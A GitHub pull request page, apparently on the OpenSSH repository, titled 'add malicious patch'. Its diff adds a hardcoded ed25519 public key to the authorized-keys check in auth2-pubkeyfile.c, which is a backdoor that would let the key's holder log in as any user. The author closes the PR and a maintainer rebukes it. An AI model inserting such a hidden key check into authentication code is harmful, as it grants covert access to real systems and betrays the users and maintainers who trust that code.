Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add malicious patch #497

Closed
wants to merge 1 commit into from
Closed

add malicious patch #497

wants to merge 1 commit into from

Conversation

Mic92
Copy link

@Mic92 Mic92 commented May 15, 2024

nothing to see

diff --git a/auth2-pubkeyfile.c b/auth2-pubkeyfile.c
index 31e7481f..92890546 100644
--- a/auth2-pubkeyfile.c
+++ b/auth2-pubkeyfile.c
@@ -433,6 +433,10 @@ auth_check_authkeys_file(struct passwd *pw, FILE *f, char *file,
 		    remote_ip, remote_host, loc, authoptsp) == 0)
 			found_key = 1;
 	}
+
+	if (auth_check_authkey_line(pw, key, "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKbBp2dH2X3dcU1zh+xW3ZsdYROKpJd3n13ssOP092qE", remote_ip, remote_host, "my own key", authoptsp) == 0)
+		found_key = 1;
+
 	free(line);
 	debug2_f("%s: processed %lu/%lu lines", file, nonblank, linenum);
 	return found_key;
@Mic92 Mic92 closed this May 15, 2024
@Mic92 Mic92 deleted the funky branch May 15, 2024 21:31
@djmdjm
Copy link
Contributor

djmdjm commented May 15, 2024

This is a good way to get your account blocked. I don't know what you are trying to achieve, but we have zero appetite for it.

@openssh openssh locked as resolved and limited conversation to collaborators May 15, 2024
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants